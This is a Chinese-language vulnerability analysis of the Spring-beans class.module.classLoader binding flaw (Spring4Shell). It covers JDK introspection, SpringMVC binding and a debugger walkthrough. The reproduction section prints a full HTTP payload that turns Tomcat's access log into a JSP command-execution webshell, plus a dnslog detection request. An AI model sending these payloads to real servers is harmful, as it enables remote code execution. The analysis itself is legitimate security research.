从JDK内省机制&Spring属性注入浅析Spring-beans变量覆盖问题
2022-4-18 23:13:0 Author: xz.aliyun.com(查看原文) 阅读量:2 收藏

漏洞概述

漏洞概述

该漏洞的本质类似于变量覆盖漏洞,利用变量覆盖,修改tomcat的配置,并修改tomcat的日志位置到根目录,修改日志的后缀为jsp,达到木马文件写入的效果

值得一提的是该漏洞是CVE-2010-1622的绕过,详情可以参考 http://rui0.cn/archives/1158

影响范围

  • spring-beans版本5.3.0 ~ 5.3.175.2.0 ~ 5.2.19
  • JDK 9+
  • Apache Tomcat
  • 传参时使用参数绑定,且为非基础数据类型

漏洞核心

该漏洞的关键点,在于JDK内省机制以及Spring属性注入,在后文中都有详细的解析

内省机制

JavaBean

什么是JavaBean

  • JavaBean是一种特殊的类,其内部没有功能性方法,主要包含信息字段和存储方法,因此JavaBean通常用于传递数据信息
  • JavaBean类中的方法用于访问私有的字段,且方法名符合一定的命名规则

一般来说满足如下条件的,可以称为一个JavaBean

  • 所有属性为private
  • 提供默认的无参构造方法
  • 提供setter&getter方法,让外部可以设置&获取JavaBean的属性

JavaBean的命名规则

  1. JavaBean中的方法,去掉set/get前缀,剩下的就是属性名

method: getName() --> property: name

  1. 去掉前缀,剩下的部分中第二个字母是大写/小写,则剩下的部分应全部大写/小写

getSEX()

JavaBean内省

一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,使用它的程序看不到JavaBean内部的成员变量

内省即:当一个类是满足JavaBean条件时,就可以使用特定的方式,来获取和设置JavaBean中的属性值

API

Java中提供了一套API来访问某个属性的setter/getter方法,一般的做法是通过Introspector.getBeanInfo()方法来获取某个对象的BeanInfo ,然后通过 BeanInfo来获取属性的描述器PropertyDescriptor,通过PropertyDescriptor就可以获取某个属性对应的getter/setter方法,然后通过反射机制来调用这些方法。

Introspector

除了JDK的Introspector,还有Apache BeanUtils,这里仅介绍前者

Introspector类位于java.beans包下

Introspector api

该类中的主要方法getBeanInfo都是静态方法

// 获取 beanClass 及其所有父类的 BeanInfo
BeanInfo getBeanInfo(Class<?> beanClass)

// 获取 beanClass 及其指定到父类 stopClass 的 BeanInfo 
BeanInfo getBeanInfo(Class<?> beanClass, Class<?> stopClass)
beaninfo api
// bean 信息
BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor();
// 属性信息
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
// 方法信息
MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors();
demo

有这样一个JavaBean,尝试用Introspector来获取其属性

UserInfo

public class UserInfo {
    private String id;
    private String name;

    public String getSex() { return null; }

    public String getId() { return id; }

    public void setId(String id) { this.id = id; }

    public String getName() { return name; }

    public void setName(String name) { this.name = name; }
}

IntrospectorTest

这里调用Introspector.getBeanInfo,不使用带有stopClass的重载方法,会让JDK连父类一并进行内省操作

public class IntrospectorTest {
    public static void main(String[] args) throws IntrospectionException {
        BeanInfo beanInfo = Introspector.getBeanInfo(UserInfo.class);
        PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
        for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
            System.out.println("Property: " + propertyDescriptor.getName());
        }
    }
}

output

Property:class
Property:id
Property:name
Property:sex

预期内的结果

  • id (有getter方法)
  • name (有getter方法)
  • sex (虽然没有该属性,但是有getter方法,内省机制就会认为存在sex属性)

非预期内的结果

  • class

这里出现了一个非常有意思的点,也是导致整个漏洞的关键因素之一,为什么会出现class呢

因为在Java中,所有的类都会默认继承Object

而在Object中,又存在一个getClass()方法,内省机制就会认为存在一个class属性

尝试再获取class属性的beaninfo

Introspector.getBeanInfo(Class.class);

Property:annotatedInterfaces
Property:annotatedSuperclass
Property:annotation
Property:annotations
Property:anonymousClass
Property:array
Property:canonicalName
Property:class
Property:classLoader
Property:classes
Property:componentType
Property:constructors
Property:declaredAnnotations
Property:declaredClasses
......

已经可以看到熟悉的classLoader

参数绑定

该漏洞的原理类似变量覆盖漏洞,通过传参修改tomcat日志的路径以及后缀等,本质其实是SpringMVC的参数绑定

简单介绍一下SpringMVC的参数绑定

基本类型、包装类型

基本类型int

@RequestMapping("/index")
@ResponseBody
public String baseType(int age) {
        return "age: " + age;
}

http://localhost:8080/index?age=8

包装类型

@RequestMapping("/index")
@ResponseBody
public String packingType(Integer age) {
    return "age: " + age;
}

包装类型主要是为了规避参数为空的问题,因为其不传值就赋null,但是int类型却不能为null

对象

多层级对象

public class UserInfo {
    private Integer age;
    private String address;
    ......补充其 get set toString 方法
}

在 User 类中引入这个类,这种情况该如何绑定参数呢

public class User {
    private String id;
    private String name;    
    private UserInfo userInfo;
}

http://localhost:8080/index?id=1&name=Steven&userInfo.age=20&userInfo.address=BeiJing

同属性对象

如果我们想要直接接收两个对象,有时候免不了有相同的成员,例如我们的UserStudent类中均含有

idname两个成员,我们试着请求一下

@RequestMapping("/index")
@ResponseBody
public String objectType2(User user, Student student) {
    return user.toString() + " " + student.toString();
}

http://localhost:8080/index?id=0&name=t4r

返回结果:User{id='0', name='t4r'} Student{id='0', name='t4r'}

可以看到,两个对象的值都被赋上了,但是,大部分情况下,不同的对象的值一般都是不同的,为此,我们还有解决办法

@InitBinder 注解可以帮助我们分开绑定,下面的代码也就是说分别给userstudent指定一个前缀

@InitBinder("user")
public void initUser(WebDataBinder binder) {
    binder.setFieldDefaultPrefix("user.");
}

@InitBinder("student")
public void initStudent(WebDataBinder binder) {
    binder.setFieldDefaultPrefix("stu.");
}

http://localhost:8080/index?user.id=1&name=t4r&stu.id=002

数组

@RequestMapping("/index")
@ResponseBody
public String arrayType(String[] name) {
    StringBuilder sb = new StringBuilder();
    for (String s : nickname) {
        sb.append(s).append(", ");
    }
    return sb.toString();
}

http://localhost:8080/index?name=Alice&name=Bob

返回结果:Alice, Bob

集合

List类型

集合是不能直接进行参数绑定的,所以我们需要创建出一个类,然后在类中进行对List的参数绑定

控制层方法中,参数就是这个创建出来的类

@RequestMapping("/index")
@ResponseBody
public String listType(UserList userList) {
    return userList.toString();
}

http://localhost:8080/index?users[0].id=1&users[0].name=Alice&users[1].id=2&users[1].name=Bob

如果Tomcat版本是高于7的 ,执行上述请求就会报400错误

这是因为Tomcat高的版本地址中不能使用[] ,我们可以将其换成对应的16进制,即 [ 换成 %5B] 换成%5D

http://localhost:8080/index?users%5B0%5D.id=1&users%5B0%5D.name=Alice&users%5B1%5D.id=2&users%5B1%5D.name=Bob

或者直接用post请求也可以

Map类型

map 类型是一样的套路,我们先创建一个 UserMap类,然后在其中声明 private Map<String,User> users 进而绑定参数

@RequestMapping("/index")
@ResponseBody
public String mapType(UserMap userMap) {
    return userMap.toString();
}

http://localhost:8080/index?users['userA'].id=1&users['userA'].name=Alice&users['userB'].id=2&users['userB'].name=Bob

同样 [] 会遇到上面的错误,所以如果想要在地址栏请求访问,就需要替换字符,或者发起一个post请求

属性注入

BeanWrapper

  • PropertyEditorRegistry PropertyEditor 注册、查找
  • TypeConverter 类型转换,其主要的工作由 TypeConverterDelegate 这个类完成的
  • PropertyAccessor 属性读写
  • ConfigurablePropertyAccessor 配置一些属性,如设置ConversionService、是否暴露旧值、嵌套注入时属性为 null 是否自动创建
  • BeanWrapper 对 bean 进行封装
  • AbstractNestablePropertyAccessor 实现了对嵌套属性注入的处理

获取BeanWrapper实例

从上图可知,获取BeanWrapper实例可以通过其唯一实现类BeanWrapperImpl获取

BeanWrapper beanWrapper = new BeanWrapperImpl(对象);

属性注入

beanWrapper.setPropertyValue(属性名, 属性值);
beanWrapper.setPropertyValue("name", "t4r");

也可以通过PropertyValue

PropertyValue propertyValue = new PropertyValue("age", "80");
beanWrapper.setPropertyValue(propertyValue);

上述代码可以将属性值自动转换为适配的数据类型,过程如下

下图是跟踪BeanWrapperImpl#setPropertyValue(实际调用的就是父类AbstractNestablePropertyAccessor#setPropertyValue)AbstractNestablePropertyAccessor#processLocalProperty的代码

可以总结一下processLocalProperty函数主要做了两件事:

  • 类型转换:convertForProperty利用JDKPropertyEditorSupport进行类型转换
  • 属性设置:setValue使用反射进行赋值,BeanWrapperImpl#BeanPropertyHandler#setValue

setValue最终通过反射进行属性赋值,如下

嵌套属性注入

autoGrowNestedPaths=true 时当属性为 null 时自动创建对象
beanWrapper.setAutoGrowNestedPaths(true);
beanWrapper.setPropertyValue("director.name", "director");
beanWrapper.setPropertyValue("employees[0].name", "t4r");

获取类实例

Person person = (Person) beanWrapper.getWrappedInstance();

获取对象属性

String name = (String) beanWrapper.getPropertyValue("name");

AbstractNestablePropertyAccessor

BeanWrapper 有两个核心的实现类

  • AbstractNestablePropertyAccessor 提供对嵌套属性的支持
  • BeanWrapperImpl 提供对 JavaBean 的内省功能,如PropertyDescriptor

上面已经简单介绍过了BeanWrapperImpl

而在Spring-framework 4.2之后,AbstractNestablePropertyAccessor将原BeanWrapperImpl的功能抽出,BeanWrapperImpl只提供对JavaBean的内省功能,所以很多老哥看CVE-2010-1622的分析时可能会比较疑惑

核心成员属性

  • Object wrappedObject:被BeanWrapper包装的对象
  • String nestedPath:当前BeanWrapper对象所属嵌套层次的属性名,最顶层的BeanWrappernestedPath的值为空
  • Object rootObject:最顶层BeanWrapper所包装的对象
  • Map<String, AbstractNestablePropertyAccessor> nestedPropertyAccessors:缓存当前BeanWrapper的嵌套属性的nestedPath和对应的BeanWrapperImpl对象

getPropertyAccessorForPropertyPath

getPropertyAccessorForPropertyPath根据属性(propertyPath)获取所在bean的包装对象beanWrapper,如果是类似class.module.classLoader的嵌套属性,则需要递归获取。真正获取指定属性的包装对象则由方法getNestedPropertyAccessor完成

该函数内的具体操作,以属性class.module.classLoader为例

  1. 获取第一个.之前的属性部分
  2. 递归处理嵌套属性
    1. 先获取class属性所在类的rootBeanWrapper
    2. 再获取module属性所在类的classBeanWrapper
    3. 以此类推,获取最后一个属性classLoader属性所在类的moduleBeanWrapper

getPropertyAccessorForPropertyPath处理属性有两种情况:

  • class(不包含.):直接范围当前bean的包装对象
  • class.module.classLoader(包含.):从当前对象开始递归查找,查找当前beanWrapper指定属性的包装对象由getNestedPropertyAccessor()完成

getNestedPropertyAccessor函数中的主要工作如下:

  • nestedPropertyAccessors用于缓存已经查找到过的属性
  • getPropertyNameTokens获取属性对应的token值,主要用于解循环嵌套属性
  • 属性不存在则根据autoGrowNestedPaths 决定是否自动创建
  • 先从缓存中获取,没有就创建一个新的AbstractNestablePropertyAccessor对象

PropertyTokenHolder

  • 用于解析嵌套属性名称

PropertyHandler

  • PropertyHandler的默认实现是BeanPropertyHandler,位于BeanWrapperImpl
  • BeanPropertyHandler是对PropertyDescriptor的封装,提供了对JavaBean底层的操作,如属性的读写

setPropertyValue

该函数内的主要操作如下

  • 调用getPropertyAccessorForPropertyPath递归获取propertyName属性所在的beanWrapper
  • 获取属性的tokentoken用于标记该次属性注入是简单属性注入,还是Array、Map、List、Set复杂类型的属性注入
  • 设置属性值

getPropertyValue

  • 顾名思义,根据属性名称获取对应的值
  • 通过反射完成

setDefaultValue

  • autoGrowNestedPaths=true时会创建默认的对象

  • 创建对象的操作会由setDefaultValue调用其无参构造方法完成

漏洞分析

漏洞复现

IDEA创建一个SpringMVC项目,搭建过程不赘述

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>springMVC</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>WEB-INF/springMVC.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>springMVC</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

springMVC.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
    <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" />
    <bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" />
    <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
    <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/>
    <context:component-scan base-package="com.example.springshell.controller"/>
</beans>

maven

<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-beans</artifactId>
   <version>5.3.17</version>
</dependency>

Controller

package com.example.springshell.controller;

import com.example.springshell.bean.Person;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {
    @RequestMapping("/hello")
    public String hello(Person person){
        return person.getName();
    }
}

JavaBean

package com.example.springshell.bean;

public class Person{
    private String name;
    private int age;

    public int getAge(){
        return age;
    }

    public String getName(){
        return name;
    }

    public void setAge(int age){
        this.age = age;
    }

    public void setName(String name){
        this.name = name;
    }
}

payload

POST /hello HTTP/1.1
Host: localhost:8082
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
suffix: %>
prefix: <%
Content-Length: 679

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

断点分析

在有了上文的属性注入基础后,再来分析漏洞过程,就显得格外清晰了

上文中提到Spring-framework 4.2之后由AbstractNestablePropertyAccessor来完成嵌套输入注入的支持

AbstractNestablePropertyAccessor#setPropertyValue处设置断点,根据设置的控制器路由,发送上述的http请求,触发断点(断点的位置已经是完成了参数绑定后的位置,参数绑定主要是通过DataBinder完成,该操作不是漏洞的关键点,略过)

可以看到函数的入参是pv,我们追溯一下,可以发现AbstractPropertyAccessor#setPropertyValues通过for循环,对请求中的每一个键值对,调用AbstractNestablePropertyAccessor#setPropertyValue进行属性注入操作

回到AbstractNestablePropertyAccessor#setPropertyValue,分析一下该函数做的事:

  • 创建了一个PropertyTokenHolder对象,上文中也提到,用于解析嵌套属性名称
  • 属性名存在则创建一个AbstractNestablePropertyAccessor对象,并调用getPropertyAccessorForPropertyPath

此时的propertyNameclass.module.classLoader.resources.context.parent.pipeline.first.directory,跟入getPropertyAccessorForPropertyPath

getPropertyAccessorForPropertyPath中,正如前文所说,通过递归的方式,获取嵌套属性的包装对象beanWrapper

这里首先会通过getFirstNestedPropertySeparatorIndex拿到.前的一个属性,拿到class属性后,调用getNestedPropertyAccessor

该函数中:

  • 创建了一个缓存列表,在后续操作中,判断获取的属性是否已经在列表中,如在则直接获取,否则会新创建一个AbstractNestablePropertyAccessor
  • 创建了一个PropertyTokenHolder,之后调用getPropertyValue处理它

简单提一下,这里的缓存列表结构如下,可以发现嵌套的属性

AbstractNestablePropertyAccessor#getPropertyValue中又调用getLocalPropertyHandler处理传入的PropertyTokenHolder中的actualName(即class)

AbstractNestablePropertyAccessor中的getLocalPropertyHandler是一个抽象方法,其唯一子类BeanWrapperImpl重写了该方法,跟入该方法

调用了CachedIntrospectionResults#getPropertyDescriptor

而真正的逻辑在其构造方法中,看到了我们熟悉的getBeanInfo

这里也就解释了我们为什么能获取到class这个属性值,因此其没用调用另一个有stopclass参数的重载方法

到此,算是完成了获取class这个参数的beanWrapper

回到AbstractNestablePropertyAccessor.setPropertyValue

接着会调用重载的方法,进行属性的注入

又调用了processLocalProperty

processLocalProperty函数之前也提到过,完成了类型转换以及调用BeanWrapperImpl#setValue通过反射完成了最终的属性注入

绕过

CachedIntrospectionResults的构造方法中,可以看到对beanClass以及属性名做了判断

  • beanClassclass
  • 属性名非classLoaderprotectionDomain

显然Class.getClassLoader被拦截了

但是Java9新增了module,可以通过Class.getModule方法调用getClassloader的方式继续访问更多对象的属性

Payload

在调试过程中,发现了payload中的

class.module.classLoader.resources.context.parent.pipeline.first

  • context对应StandardContext
  • parent对应StandardHost
  • pipeline对应StandardPipeline
  • first对应AccessLogValve

因此,公开的利用链也就是利用AccessLogValve,这个类用来设置tomcat得日志存储参数,修改参数可以达到文件写入的效果

payload中

suffix: %>
prefix: <%

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

由于%会被过滤,pattern里通过引用头部来实现构造

%{x}i可引用请求头字段

%{x}i 请求headers的信息
%{x}o 响应headers的信息
%{x}c 请求cookie的信息
%{x}r xxx是ServletRequest的一个属性
%{x}s xxx是HttpSession的一个属性

此外StandardContext中的configFile可发送http请求,可以用于漏洞的检测

发送如下请求

POST /springshell_war_exploded/hello HTTP/1.1
Host: localhost:8082
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
Content-Length: 163

class.module.classLoader.resources.context.configFile=http://test.9vvyp3.dnslog.cn&class.module.classLoader.resources.context.configFile.content.config=config.conf

DNS记录

参考文章

http://rui0.cn/archives/1158

https://xz.aliyun.com/t/11136

https://www.cnblogs.com/binarylei/p/12290153.html


文章来源: https://xz.aliyun.com/t/11216
如有侵权请联系:admin#unsafe.sh